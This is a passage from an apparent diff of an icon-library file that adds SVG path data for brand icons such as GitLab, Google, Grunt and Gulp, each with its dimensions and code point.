165.6 388 257.4c.1 73.4-44.7 136.3-110.7 158.3zm-98.1-61.1c-1.9.4-3.7-.4-3.9-1.7-.2-1.5 1.1-2.8 3-3.2 1.9-.2 3.7.6 3.9 1.9.3 1.3-1 2.6-3 3zm-9.5-.9c0 1.3-1.5 2.4-3.5 2.4-2.2.2-3.7-.9-3.7-2.4 0-1.3 1.5-2.4 3.5-2.4 1.9-.2 3.7.9 3.7 2.4zm-13.7-1.1c-.4 1.3-2.4 1.9-4.1 1.3-1.9-.4-3.2-1.9-2.8-3.2.4-1.3 2.4-1.9 4.1-1.5 2 .6 3.3 2.1 2.8 3.4zm-12.3-5.4c-.9 1.1-2.8.9-4.3-.6-1.5-1.3-1.9-3.2-.9-4.1.9-1.1 2.8-.9 4.3.6 1.3 1.3 1.8 3.3.9 4.1zm-9.1-9.1c-.9.6-2.6 0-3.7-1.5s-1.1-3.2 0-3.9c1.1-.9 2.8-.2 3.7 1.3 1.1 1.5 1.1 3.3 0 4.1zm-6.5-9.7c-.9.9-2.4.4-3.5-.6-1.1-1.3-1.3-2.8-.4-3.5.9-.9 2.4-.4 3.5.6 1.1 1.3 1.3 2.8.4 3.5zm-6.7-7.4c-.4.9-1.7 1.1-2.8.4-1.3-.6-1.9-1.7-1.5-2.6.4-.6 1.5-.9 2.8-.4 1.3.7 1.9 1.8 1.5 2.6z" ], + gitkraken: [ 592, 512, [], "f3a6", "M565.7 118.1c-2.3-6.1-9.3-9.2-15.3-6.6-5.7 2.4-8.5 8.9-6.3 14.6 10.9 29 16.9 60.5 16.9 93.3 0 134.6-100.3 245.7-230.2 262.7V358.4c7.9-1.5 15.5-3.6 23-6.2v104c106.7-25.9 185.9-122.1 185.9-236.8 0-91.8-50.8-171.8-125.8-213.3-5.7-3.2-13-.9-15.9 5-2.7 5.5-.6 12.2 4.7 15.1 67.9 37.6 113.9 110 113.9 193.2 0 93.3-57.9 173.1-139.8 205.4v-92.2c14.2-4.5 24.9-17.7 24.9-33.5 0-13.1-6.8-24.4-17.3-30.5 8.3-79.5 44.5-58.6 44.5-83.9V170c0-38-87.9-161.8-129-164.7-2.5-.2-5-.2-7.6 0C251.1 8.3 163.2 132 163.2 170v14.8c0 25.3 36.3 4.3 44.5 83.9-10.6 6.1-17.3 17.4-17.3 30.5 0 15.8 10.6 29 24.8 33.5v92.2c-81.9-32.2-139.8-112-139.8-205.4 0-83.1 46-155.5 113.9-193.2 5.4-3 7.4-9.6 4.7-15.1-2.9-5.9-10.1-8.2-15.9-5-75 41.5-125.8 121.5-125.8 213.3 0 114.7 79.2 210.8 185.9 236.8v-104c7.6 2.5 15.1 4.6 23 6.2v123.7C131.4 465.2 31 354.1 31 219.5c0-32.8 6-64.3 16.9-93.3 2.2-5.8-.6-12.2-6.3-14.6-6-2.6-13 .4-15.3 6.6C14.5 149.7 8 183.8 8 219.5c0 155.1 122.6 281.6 276.3 287.8V361.4c6.8.4 15 .5 23.4 0v145.8C461.4 501.1 584 374.6 584 219.5c0-35.7-6.5-69.8-18.3-101.4zM365.9 275.5c13 0 23.7 10.5 23.7 23.7 0 13.1-10.6 23.7-23.7 23.7-13 0-23.7-10.5-23.7-23.7 0-13.1 10.6-23.7 23.7-23.7zm-139.8 47.3c-13.2 0-23.7-10.7-23.7-23.7s10.5-23.7 23.7-23.7c13.1 0 23.7 10.6 23.7 23.7 0 13-10.5 23.7-23.7 23.7z" ], + gitlab: [ 512, 512, [], "f296", "M105.2 24.9c-3.1-8.9-15.7-8.9-18.9 0L29.8 199.7h132c-.1 0-56.6-174.8-56.6-174.8zM.9 287.7c-2.6 8 .3 16.9 7.1 22l247.9 184-226.2-294zm160.8-88l94.3 294 94.3-294zm349.4 88l-28.8-88-226.3 294 247.9-184c6.9-5.1 9.7-14 7.2-22zM425.7 24.9c-3.1-8.9-15.7-8.9-18.9 0l-56.6 174.8h132z" ], + gitter: [ 384, 512, [], "f426", "M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z" ], + glide: [ 448, 512, [], "f2a5", "M252.8 148.6c0 8.8-1.6 17.7-3.4 26.4-5.8 27.8-11.6 55.8-17.3 83.6-1.4 6.3-8.3 4.9-13.7 4.9-23.8 0-30.5-26-30.5-45.5 0-29.3 11.2-68.1 38.5-83.1 4.3-2.5 9.2-4.2 14.1-4.2 11.4 0 12.3 8.3 12.3 17.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 187c0-5.1-20.8-37.7-25.5-39.5-2.2-.9-7.2-2.3-9.6-2.3-23.1 0-38.7 10.5-58.2 21.5l-.5-.5c4.3-29.4 14.6-57.2 14.6-87.4 0-44.6-23.8-62.7-67.5-62.7-71.7 0-108 70.8-108 123.5 0 54.7 32 85 86.3 85 7.5 0 6.9-.6 6.9 2.3-10.5 80.3-56.5 82.9-56.5 58.9 0-24.4 28-36.5 28.3-38-.2-7.6-29.3-17.2-36.7-17.2-21.1 0-32.7 33-32.7 50.6 0 32.3 20.4 54.7 53.3 54.7 48.2 0 83.4-49.7 94.3-91.7 9.4-37.7 7-39.4 12.3-42.1 20-10.1 35.8-16.8 58.4-16.8 11.1 0 19 2.3 36.7 5.2 1.8.1 4.1-1.7 4.1-3.5z" ], + "glide-g": [ 448, 512, [], "f2a6", "M407.1 211.2c-3.5-1.4-11.6-3.8-15.4-3.8-37.1 0-62.2 16.8-93.5 34.5l-.9-.9c7-47.3 23.5-91.9 23.5-140.4C320.8 29.1 282.6 0 212.4 0 97.3 0 39 113.7 39 198.4 39 286.3 90.3 335 177.6 335c12 0 11-1 11 3.8-16.9 128.9-90.8 133.1-90.8 94.6 0-39.2 45-58.6 45.5-61-.3-12.2-47-27.6-58.9-27.6-33.9.1-52.4 51.2-52.4 79.3C32 476 64.8 512 117.5 512c77.4 0 134-77.8 151.4-145.4 15.1-60.5 11.2-63.3 19.7-67.6 32.2-16.2 57.5-27 93.8-27 17.8 0 30.5 3.7 58.9 8.4 2.9 0 6.7-2.9 6.7-5.8 0-8-33.4-60.5-40.9-63.4zm-175.3-84.4c-9.3 44.7-18.6 89.6-27.8 134.3-2.3 10.2-13.3 7.8-22 7.8-38.3 0-49-41.8-49-73.1 0-47 18-109.3 61.8-133.4 7-4.1 14.8-6.7 22.6-6.7 18.6 0 20 13.3 20 28.7-.1 14.3-2.7 28.5-5.6 42.4z" ], + gofore: [ 400, 512, [], "f3a7", "M324 319.8h-13.2v34.7c-24.5 23.1-56.3 35.8-89.9 35.8-73.2 0-132.4-60.2-132.4-134.4 0-74.1 59.2-134.4 132.4-134.4 35.3 0 68.6 14 93.6 39.4l62.3-63.3C335 55.3 279.7 32 220.7 32 98 32 0 132.6 0 256c0 122.5 97 224 220.7 224 63.2 0 124.5-26.2 171-82.5-2-27.6-13.4-77.7-67.7-77.7zm-12.1-112.5H205.6v89H324c33.5 0 60.5 15.1 76 41.8v-30.6c0-65.2-40.4-100.2-88.1-100.2z" ], + goodreads: [ 448, 512, [], "f3a8", "M299.9 191.2c5.1 37.3-4.7 79-35.9 100.7-22.3 15.5-52.8 14.1-70.8 5.7-37.1-17.3-49.5-58.6-46.8-97.2 4.3-60.9 40.9-87.9 75.3-87.5 46.9-.2 71.8 31.8 78.2 78.3zM448 88v336c0 30.9-25.1 56-56 56H56c-30.9 0-56-25.1-56-56V88c0-30.9 25.1-56 56-56h336c30.9 0 56 25.1 56 56zM330 313.2s-.1-34-.1-217.3h-29v40.3c-.8.3-1.2-.5-1.6-1.2-9.6-20.7-35.9-46.3-76-46-51.9.4-87.2 31.2-100.6 77.8-4.3 14.9-5.8 30.1-5.5 45.6 1.7 77.9 45.1 117.8 112.4 115.2 28.9-1.1 54.5-17 69-45.2.5-1 1.1-1.9 1.7-2.9.2.1.4.1.6.2.3 3.8.2 30.7.1 34.5-.2 14.8-2 29.5-7.2 43.5-7.8 21-22.3 34.7-44.5 39.5-17.8 3.9-35.6 3.8-53.2-1.2-21.5-6.1-36.5-19-41.1-41.8-.3-1.6-1.3-1.3-2.3-1.3h-26.8c.8 10.6 3.2 20.3 8.5 29.2 24.2 40.5 82.7 48.5 128.2 37.4 49.9-12.3 67.3-54.9 67.4-106.3z" ], + "goodreads-g": [ 384, 512, [], "f3a9", "M42.6 403.3h2.8c12.7 0 25.5 0 38.2.1 1.6 0 3.1-.4 3.6 2.1 7.1 34.9 30 54.6 62.9 63.9 26.9 7.6 54.1 7.8 81.3 1.8 33.8-7.4 56-28.3 68-60.4 8-21.5 10.7-43.8 11-66.5.1-5.8.3-47-.2-52.8l-.9-.3c-.8 1.5-1.7 2.9-2.5 4.4-22.1 43.1-61.3 67.4-105.4 69.1-103 4-169.4-57-172-176.2-.5-23.7 1.8-46.9 8.3-69.7C58.3 47.7 112.3.6 191.6 0c61.3-.4 101.5 38.7 116.2 70.3.5 1.1 1.3 2.3 2.4 1.9V10.6h44.3c0 280.3.1 332.2.1 332.2-.1 78.5-26.7 143.7-103 162.2-69.5 16.9-159 4.8-196-57.2-8-13.5-11.8-28.3-13-44.5zM188.9 36.5c-52.5-.5-108.5 40.7-115 133.8-4.1 59 14.8 122.2 71.5 148.6 27.6 12.9 74.3 15 108.3-8.7 47.6-33.2 62.7-97 54.8-154-9.7-71.1-47.8-120-119.6-119.7z" ], + google: [ 488, 512, [], "f1a0", "M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z" ], + "google-drive": [ 512, 512, [], "f3aa", "M339 314.9L175.4 32h161.2l163.6 282.9H339zm-137.5 23.6L120.9 480h310.5L512 338.5H201.5zM154.1 67.4L0 338.5 80.6 480 237 208.8 154.1 67.4z" ], + "google-pay": [ 640, 512, [], "e079", "M105.72,215v41.25h57.1a49.66,49.66,0,0,1-21.14,32.6c-9.54,6.55-21.72,10.28-36,10.28-27.6,0-50.93-18.91-59.3-44.22a65.61,65.61,0,0,1,0-41l0,0c8.37-25.46,31.7-44.37,59.3-44.37a56.43,56.43,0,0,1,40.51,16.08L176.47,155a101.24,101.24,0,0,0-70.75-27.84,105.55,105.55,0,0,0-94.38,59.11,107.64,107.64,0,0,0,0,96.18v.15a105.41,105.41,0,0,0,94.38,59c28.47,0,52.55-9.53,70-25.91,20-18.61,31.41-46.15,31.41-78.91A133.76,133.76,0,0,0,205.38,215Zm389.41-4c-10.13-9.38-23.93-14.14-41.39-14.14-22.46,0-39.34,8.34-50.5,24.86l20.85,13.26q11.45-17,31.26-17a34.05,34.05,0,0,1,22.75,8.79A28.14,28.14,0,0,1,487.79,248v5.51c-9.1-5.07-20.55-7.75-34.64-7.75-16.44,0-29.65,3.88-39.49,11.77s-14.82,18.31-14.82,31.56a39.74,39.74,0,0,0,13.94,31.27c9.25,8.34,21,12.51,34.79,12.51,16.29,0,29.21-7.3,39-21.89h1v17.72h22.61V250C510.25,233.45,505.26,220.34,495.13,211ZM475.9,300.3a37.32,37.32,0,0,1-26.57,11.16A28.61,28.61,0,0,1,431,305.21a19.41,19.41,0,0,1-7.77-15.63c0-7,3.22-12.81,9.54-17.42s14.53-7,24.07-7C470,265,480.3,268,487.64,273.94,487.64,284.07,483.68,292.85,475.9,300.3Zm-93.65-142A55.71,55.71,0,0,0,341.74,142H279.07V328.74H302.7V253.1h39c16,0,29.5-5.36,40.51-15.93.88-.89,1.76-1.79,2.65-2.68A54.45,54.45,0,0,0,382.25,158.26Zm-16.58,62.23a30.65,30.65,0,0,1-23.34,9.68H302.7V165h39.63a32,32,0,0,1,22.6,9.23A33.18,33.18,0,0,1,365.67,220.49ZM614.31,201,577.77,292.7h-.45L539.9,201H514.21L566,320.55l-29.35,64.32H561L640,201Z" ], + "google-play": [ 512, 512, [], "f3ab", "M325.3 234.3L104.6 13l280.8 161.2-60.1 60.1zM47 0C34 6.8 25.3 19.2 25.3 35.3v441.3c0 16.1 8.7 28.5 21.7 35.3l256.6-256L47 0zm425.2 225.6l-58.9-34.1-65.7 64.5 65.7 64.5 60.1-34.1c18-14.3 18-46.5-1.2-60.8zM104.6 499l280.8-161.2-60.1-60.1L104.6 499z" ], + "google-plus": [ 512, 512, [], "f2b3", "M256,8C119.1,8,8,119.1,8,256S119.1,504,256,504,504,392.9,504,256,392.9,8,256,8ZM185.3,380a124,124,0,0,1,0-248c31.3,0,60.1,11,83,32.3l-33.6,32.6c-13.2-12.9-31.3-19.1-49.4-19.1-42.9,0-77.2,35.5-77.2,78.1S142.3,334,185.3,334c32.6,0,64.9-19.1,70.1-53.3H185.3V238.1H302.2a109.2,109.2,0,0,1,1.9,20.7c0,70.8-47.5,121.2-118.8,121.2ZM415.5,273.8v35.5H380V273.8H344.5V238.3H380V202.8h35.5v35.5h35.2v35.5Z" ], + "google-plus-g": [ 640, 512, [], "f0d5", "M386.061 228.496c1.834 9.692 3.143 19.384 3.143 31.956C389.204 370.205 315.599 448 204.8 448c-106.084 0-192-85.915-192-192s85.916-192 192-192c51.864 0 95.083 18.859 128.611 50.292l-52.126 50.03c-14.145-13.621-39.028-29.599-76.485-29.599-65.484 0-118.92 54.221-118.92 121.277 0 67.056 53.436 121.277 118.92 121.277 75.961 0 104.513-54.745 108.965-82.773H204.8v-66.009h181.261zm185.406 6.437V179.2h-56.001v55.733h-55.733v56.001h55.733v55.733h56.001v-55.733H627.2v-56.001h-55.733z" ], + "google-plus-square": [ 448, 512, [], "f0d4", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM164 356c-55.3 0-100-44.7-100-100s44.7-100 100-100c27 0 49.5 9.8 67 26.2l-27.1 26.1c-7.4-7.1-20.3-15.4-39.8-15.4-34.1 0-61.9 28.2-61.9 63.2 0 34.9 27.8 63.2 61.9 63.2 39.6 0 54.4-28.5 56.8-43.1H164v-34.4h94.4c1 5 1.6 10.1 1.6 16.6 0 57.1-38.3 97.6-96 97.6zm220-81.8h-29v29h-29.2v-29h-29V245h29v-29H355v29h29v29.2z" ], + "google-wallet": [ 448, 512, [], "f1ee", "M156.8 126.8c37.6 60.6 64.2 113.1 84.3 162.5-8.3 33.8-18.8 66.5-31.3 98.3-13.2-52.3-26.5-101.3-56-148.5 6.5-36.4 2.3-73.6 3-112.3zM109.3 200H16.1c-6.5 0-10.5 7.5-6.5 12.7C51.8 267 81.3 330.5 101.3 400h103.5c-16.2-69.7-38.7-133.7-82.5-193.5-3-4-8-6.5-13-6.5zm47.8-88c68.5 108 130 234.5 138.2 368H409c-12-138-68.4-265-143.2-368H157.1zm251.8-68.5c-1.8-6.8-8.2-11.5-15.2-11.5h-88.3c-5.3 0-9 5-7.8 10.3 13.2 46.5 22.3 95.5 26.5 146 48.2 86.2 79.7 178.3 90.6 270.8 15.8-60.5 25.3-133.5 25.3-203 0-73.6-12.1-145.1-31.1-212.6z" ], + gratipay: [ 496, 512, [], "f184", "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm114.6 226.4l-113 152.7-112.7-152.7c-8.7-11.9-19.1-50.4 13.6-72 28.1-18.1 54.6-4.2 68.5 11.9 15.9 17.9 46.6 16.9 61.7 0 13.9-16.1 40.4-30 68.1-11.9 32.9 21.6 22.6 60 13.8 72z" ], + grav: [ 512, 512, [], "f2d6", "M301.1 212c4.4 4.4 4.4 11.9 0 16.3l-9.7 9.7c-4.4 4.7-11.9 4.7-16.6 0l-10.5-10.5c-4.4-4.7-4.4-11.9 0-16.6l9.7-9.7c4.4-4.4 11.9-4.4 16.6 0l10.5 10.8zm-30.2-19.7c3-3 3-7.8 0-10.5-2.8-3-7.5-3-10.5 0-2.8 2.8-2.8 7.5 0 10.5 3.1 2.8 7.8 2.8 10.5 0zm-26 5.3c-3 2.8-3 7.5 0 10.2 2.8 3 7.5 3 10.5 0 2.8-2.8 2.8-7.5 0-10.2-3-3-7.7-3-10.5 0zm72.5-13.3c-19.9-14.4-33.8-43.2-11.9-68.1 21.6-24.9 40.7-17.2 59.8.8 11.9 11.3 29.3 24.9 17.2 48.2-12.5 23.5-45.1 33.2-65.1 19.1zm47.7-44.5c-8.9-10-23.3 6.9-15.5 16.1 7.4 9 32.1 2.4 15.5-16.1zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-66.2 42.6c2.5-16.1-20.2-16.6-25.2-25.7-13.6-24.1-27.7-36.8-54.5-30.4 11.6-8 23.5-6.1 23.5-6.1.3-6.4 0-13-9.4-24.9 3.9-12.5.3-22.4.3-22.4 15.5-8.6 26.8-24.4 29.1-43.2 3.6-31-18.8-59.2-49.8-62.8-22.1-2.5-43.7 7.7-54.3 25.7-23.2 40.1 1.4 70.9 22.4 81.4-14.4-1.4-34.3-11.9-40.1-34.3-6.6-25.7 2.8-49.8 8.9-61.4 0 0-4.4-5.8-8-8.9 0 0-13.8 0-24.6 5.3 11.9-15.2 25.2-14.4 25.2-14.4 0-6.4-.6-14.9-3.6-21.6-5.4-11-23.8-12.9-31.7 2.8.1-.2.3-.4.4-.5-5 11.9-1.1 55.9 16.9 87.2-2.5 1.4-9.1 6.1-13 10-21.6 9.7-56.2 60.3-56.2 60.3-28.2 10.8-77.2 50.9-70.6 79.7.3 3 1.4 5.5 3 7.5-2.8 2.2-5.5 5-8.3 8.3-11.9 13.8-5.3 35.2 17.7 24.4 15.8-7.2 29.6-20.2 36.3-30.4 0 0-5.5-5-16.3-4.4 27.7-6.6 34.3-9.4 46.2-9.1 8 3.9 8-34.3 8-34.3 0-14.7-2.2-31-11.1-41.5 12.5 12.2 29.1 32.7 28 60.6-.8 18.3-15.2 23-15.2 23-9.1 16.6-43.2 65.9-30.4 106 0 0-9.7-14.9-10.2-22.1-17.4 19.4-46.5 52.3-24.6 64.5 26.6 14.7 108.8-88.6 126.2-142.3 34.6-20.8 55.4-47.3 63.9-65 22 43.5 95.3 94.5 101.1 59z" ], + gripfire: [ 384, 512, [], "f3ac", "M112.5 301.4c0-73.8 105.1-122.5 105.1-203 0-47.1-34-88-39.1-90.4.4 3.3.6 6.7.6 10C179.1 110.1 32 171.9 32 286.6c0 49.8 32.2 79.2 66.5 108.3 65.1 46.7 78.1 71.4 78.1 86.6 0 10.1-4.8 17-4.8 22.3 13.1-16.7 17.4-31.9 17.5-46.4 0-29.6-21.7-56.3-44.2-86.5-16-22.3-32.6-42.6-32.6-69.5zm205.3-39c-12.1-66.8-78-124.4-94.7-130.9l4 7.2c2.4 5.1 3.4 10.9 3.4 17.1 0 44.7-54.2 111.2-56.6 116.7-2.2 5.1-3.2 10.5-3.2 15.8 0 20.1 15.2 42.1 17.9 42.1 2.4 0 56.6-55.4 58.1-87.7 6.4 11.7 9.1 22.6 9.1 33.4 0 41.2-41.8 96.9-41.8 96.9 0 11.6 31.9 53.2 35.5 53.2 1 0 2.2-1.4 3.2-2.4 37.9-39.3 67.3-85 67.3-136.8 0-8-.7-16.2-2.2-24.6z" ], + grunt: [ 384, 512, [], "f3ad", "M61.3 189.3c-1.1 10 5.2 19.1 5.2 19.1.7-7.5 2.2-12.8 4-16.6.4 10.3 3.2 23.5 12.8 34.1 6.9 7.6 35.6 23.3 54.9 6.1 1 2.4 2.1 5.3 3 8.5 2.9 10.3-2.7 25.3-2.7 25.3s15.1-17.1 13.9-32.5c10.8-.5 21.4-8.4 21.1-19.5 0 0-18.9 10.4-35.5-8.8-9.7-11.2-40.9-42-83.1-31.8 4.3 1 8.9 2.4 13.5 4.1h-.1c-4.2 2-6.5 7.1-7 12zm28.3-1.8c19.5 11 37.4 25.7 44.9 37-5.7 3.3-21.7 10.4-38-1.7-10.3-7.6-9.8-26.2-6.9-35.3zm142.1 45.8c-1.2 15.5 13.9 32.5 13.9 32.5s-5.6-15-2.7-25.3c.9-3.2 2-6 3-8.5 19.3 17.3 48 1.5 54.8-6.1 9.6-10.6 12.3-23.8 12.8-34.1 1.8 3.8 3.4 9.1 4 16.6 0 0 6.4-9.1 5.2-19.1-.6-5-2.9-10-7-11.8h-.1c4.6-1.8 9.2-3.2 13.5-4.1-42.3-10.2-73.4 20.6-83.1 31.8-16.7 19.2-35.5 8.8-35.5 8.8-.2 10.9 10.4 18.9 21.2 19.3zm62.7-45.8c3 9.1 3.4 27.7-7 35.4-16.3 12.1-32.2 5-37.9 1.6 7.5-11.4 25.4-26 44.9-37zM160 418.5h-29.4c-5.5 0-8.2 1.6-9.5 2.9-1.9 2-2.2 4.7-.9 8.1 3.5 9.1 11.4 16.5 13.7 18.6 3.1 2.7 7.5 4.3 11.8 4.3 4.4 0 8.3-1.7 11-4.6 7.5-8.2 11.9-17.1 13-19.8.6-1.5 1.3-4.5-.9-6.8-1.8-1.8-4.7-2.7-8.8-2.7zm189.2-101.2c-2.4 17.9-13 33.8-24.6 43.7-3.1-22.7-3.7-55.5-3.7-62.4 0-14.7 9.5-24.5 12.2-26.1 2.5-1.5 5.4-3 8.3-4.6 18-9.6 40.4-21.6 40.4-43.7 0-16.2-9.3-23.2-15.4-27.8-.8-.6-1.5-1.1-2.2-1.7-2.1-1.7-3.7-3-4.3-4.4-4.4-9.8-3.6-34.2-1.7-37.6.6-.6 16.7-20.9 11.8-39.2-2-7.4-6.9-13.3-14.1-17-5.3-2.7-11.9-4.2-19.5-4.5-.1-2-.5-3.9-.9-5.9-.6-2.6-1.1-5.3-.9-8.1.4-4.7.8-9 2.2-11.3 8.4-13.3 28.8-17.6 29-17.6l12.3-2.4-8.1-9.5c-.1-.2-17.3-17.5-46.3-17.5-7.9 0-16 1.3-24.1 3.9-24.2 7.8-42.9 30.5-49.4 39.3-3.1-1-6.3-1.9-9.6-2.7-4.2-15.8 9-38.5 9-38.5s-13.6-3-33.7 15.2c-2.6-6.5-8.1-20.5-1.8-37.2C184.6 10.1 177.2 26 175 40.4c-7.6-5.4-6.7-23.1-7.2-27.6-7.5.9-29.2 21.9-28.2 48.3-2 .5-3.9 1.1-5.9 1.7-6.5-8.8-25.1-31.5-49.4-39.3-7.9-2.2-16-3.5-23.9-3.5-29 0-46.1 17.3-46.3 17.5L6 46.9l12.3 2.4c.2 0 20.6 4.3 29 17.6 1.4 2.2 1.8 6.6 2.2 11.3.2 2.8-.4 5.5-.9 8.1-.4 1.9-.8 3.9-.9 5.9-7.7.3-14.2 1.8-19.5 4.5-7.2 3.7-12.1 9.6-14.1 17-5 18.2 11.2 38.5 11.8 39.2 1.9 3.4 2.7 27.8-1.7 37.6-.6 1.4-2.2 2.7-4.3 4.4-.7.5-1.4 1.1-2.2 1.7-6.1 4.6-15.4 11.7-15.4 27.8 0 22.1 22.4 34.1 40.4 43.7 3 1.6 5.8 3.1 8.3 4.6 2.7 1.6 12.2 11.4 12.2 26.1 0 6.9-.6 39.7-3.7 62.4-11.6-9.9-22.2-25.9-24.6-43.8 0 0-29.2 22.6-20.6 70.8 5.2 29.5 23.2 46.1 47 54.7 8.8 19.1 29.4 45.7 67.3 49.6C143 504.3 163 512 192.2 512h.2c29.1 0 49.1-7.7 63.6-19.5 37.9-3.9 58.5-30.5 67.3-49.6 23.8-8.7 41.7-25.2 47-54.7 8.2-48.4-21.1-70.9-21.1-70.9zM305.7 37.7c5.6-1.8 11.6-2.7 17.7-2.7 11 0 19.9 3 24.7 5-3.1 1.4-6.4 3.2-9.7 5.3-2.4-.4-5.6-.8-9.2-.8-10.5 0-20.5 3.1-28.7 8.9-12.3 8.7-18 16.9-20.7 22.4-2.2-1.3-4.5-2.5-7.1-3.7-1.6-.8-3.1-1.5-4.7-2.2 6.1-9.1 19.9-26.5 37.7-32.2zm21 18.2c-.8 1-1.6 2.1-2.3 3.2-3.3 5.2-3.9 11.6-4.4 17.8-.5 6.4-1.1 12.5-4.4 17-4.2.8-8.1 1.7-11.5 2.7-2.3-3.1-5.6-7-10.5-11.2 1.4-4.8 5.5-16.1 13.5-22.5 5.6-4.3 12.2-6.7 19.6-7zM45.6 45.3c-3.3-2.2-6.6-4-9.7-5.3 4.8-2 13.7-5 24.7-5 6.1 0 12 .9 17.7 2.7 17.8 5.8 31.6 23.2 37.7 32.1-1.6.7-3.2 1.4-4.8 2.2-2.5 1.2-4.9 2.5-7.1 3.7-2.6-5.4-8.3-13.7-20.7-22.4-8.3-5.8-18.2-8.9-28.8-8.9-3.4.1-6.6.5-9 .9zm44.7 40.1c-4.9 4.2-8.3 8-10.5 11.2-3.4-.9-7.3-1.9-11.5-2.7C65 89.5 64.5 83.4 64 77c-.5-6.2-1.1-12.6-4.4-17.8-.7-1.1-1.5-2.2-2.3-3.2 7.4.3 14 2.6 19.5 7 8 6.3 12.1 17.6 13.5 22.4zM58.1 259.9c-2.7-1.6-5.6-3.1-8.4-4.6-14.9-8-30.2-16.3-30.2-30.5 0-11.1 4.3-14.6 8.9-18.2l.5-.4c.7-.6 1.4-1.2 2.2-1.8-.9 7.2-1.9 13.3-2.7 14.9 0 0 12.1-15 15.7-44.3 1.4-11.5-1.1-34.3-5.1-43 .2 4.9 0 9.8-.3 14.4-.4-.8-.8-1.6-1.3-2.2-3.2-4-11.8-17.5-9.4-26.6.9-3.5 3.1-6 6.7-7.8 3.8-1.9 8.8-2.9 15.1-2.9 12.3 0 25.9 3.7 32.9 6 25.1 8 55.4 30.9 64.1 37.7.2.2.4.3.4.3l5.6 3.9-3.5-5.8c-.2-.3-19.1-31.4-53.2-46.5 2-2.9 7.4-8.1 21.6-15.1 21.4-10.5 46.5-15.8 74.3-15.8 27.9 0 52.9 5.3 74.3 15.8 14.2 6.9 19.6 12.2 21.6 15.1-34 15.1-52.9 46.2-53.1 46.5l-3.5 5.8 5.6-3.9s.2-.1.4-.3c8.7-6.8 39-29.8 64.1-37.7 7-2.2 20.6-6 32.9-6 6.3 0 11.3 1 15.1 2.9 3.5 1.8 5.7 4.4 6.7 7.8 2.5 9.1-6.1 22.6-9.4 26.6-.5.6-.9 1.3-1.3 2.2-.3-4.6-.5-9.5-.3-14.4-4 8.8-6.5 31.5-5.1 43 3.6 29.3 15.7 44.3 15.7 44.3-.8-1.6-1.8-7.7-2.7-14.9.7.6 1.5 1.2 2.2 1.8l.5.4c4.6 3.7 8.9 7.1 8.9 18.2 0 14.2-15.4 22.5-30.2 30.5-2.9 1.5-5.7 3.1-8.4 4.6-8.7 5-18 16.7-19.1 34.2-.9 14.6.9 49.9 3.4 75.9-12.4 4.8-26.7 6.4-39.7 6.8-2-4.1-3.9-8.5-5.5-13.1-.7-2-19.6-51.1-26.4-62.2 5.5 39 17.5 73.7 23.5 89.6-3.5-.5-7.3-.7-11.7-.7h-117c-4.4 0-8.3.3-11.7.7 6-15.9 18.1-50.6 23.5-89.6-6.8 11.2-25.7 60.3-26.4 62.2-1.6 4.6-3.5 9-5.5 13.1-13-.4-27.2-2-39.7-6.8 2.5-26 4.3-61.2 3.4-75.9-.9-17.4-10.3-29.2-19-34.2zM34.8 404.6c-12.1-20-8.7-54.1-3.7-59.1 10.9 34.4 47.2 44.3 74.4 45.4-2.7 4.2-5.2 7.6-7 10l-1.4 1.4c-7.2 7.8-8.6 18.5-4.1 31.8-22.7-.1-46.3-9.8-58.2-29.5zm45.7 43.5c6 1.1 12.2 1.9 18.6 2.4 3.5 8 7.4 15.9 12.3 23.1-14.4-5.9-24.4-16-30.9-25.5zM192 498.2c-60.6-.1-78.3-45.8-84.9-64.7-3.7-10.5-3.4-18.2.9-23.1 2.9-3.3 9.5-7.2 24.6-7.2h118.8c15.1 0 21.8 3.9 24.6 7.2 4.2 4.8 4.5 12.6.9 23.1-6.6 18.8-24.3 64.6-84.9 64.7zm80.6-24.6c4.9-7.2 8.8-15.1 12.3-23.1 6.4-.5 12.6-1.3 18.6-2.4-6.5 9.5-16.5 19.6-30.9 25.5zm76.6-69c-12 19.7-35.6 29.3-58.1 29.7 4.5-13.3 3.1-24.1-4.1-31.8-.4-.5-.9-1-1.4-1.5-1.8-2.4-4.3-5.8-7-10 27.2-1.2 63.5-11 74.4-45.4 5 5 8.4 39.1-3.8 59zM191.9 187.7h.2c12.7-.1 27.2-17.8 27.2-17.8-9.9 6-18.8 8.1-27.3 8.3-8.5-.2-17.4-2.3-27.3-8.3 0 0 14.5 17.6 27.2 17.8zm61.7 230.7h-29.4c-4.2 0-7.2.9-8.9 2.7-2.2 2.3-1.5 5.2-.9 6.7 1 2.6 5.5 11.3 13 19.3 2.7 2.9 6.6 4.5 11 4.5s8.7-1.6 11.8-4.2c2.3-2 10.2-9.2 13.7-18.1 1.3-3.3 1-6-.9-7.9-1.3-1.3-4-2.9-9.4-3z" ], + guilded: [ 448, 512, [], "e07e", "M443.427,64H4.571c0,103.26,22.192,180.06,43.418,222.358C112.046,414.135,224,448,225.256,448a312.824,312.824,0,0,0,140.55-103.477c25.907-33.923,53.1-87.19,65.916-145.761H171.833c4.14,36.429,22.177,67.946,45.1,86.944h88.589c-17.012,28.213-48.186,54.4-80.456,69.482-31.232-13.259-69.09-46.544-96.548-98.362-26.726-53.833-27.092-105.883-27.092-105.883H437.573A625.91,625.91,0,0,0,443.427,64Z" ], + gulp: [ 256, 512, [], "f3ae", "M209.8 391.1l-14.1 24.6-4.6 80.2c0 8.9-28.3 16.1-63.1 16.1s-63.1-7.2-63.1-16.1l-5.8-79.4-14.9-25.4c41.2 17.3 126 16.7 165.6 0zm-196-253.3l13.6 125.5c5.9-20 20.8-47 40-55.2 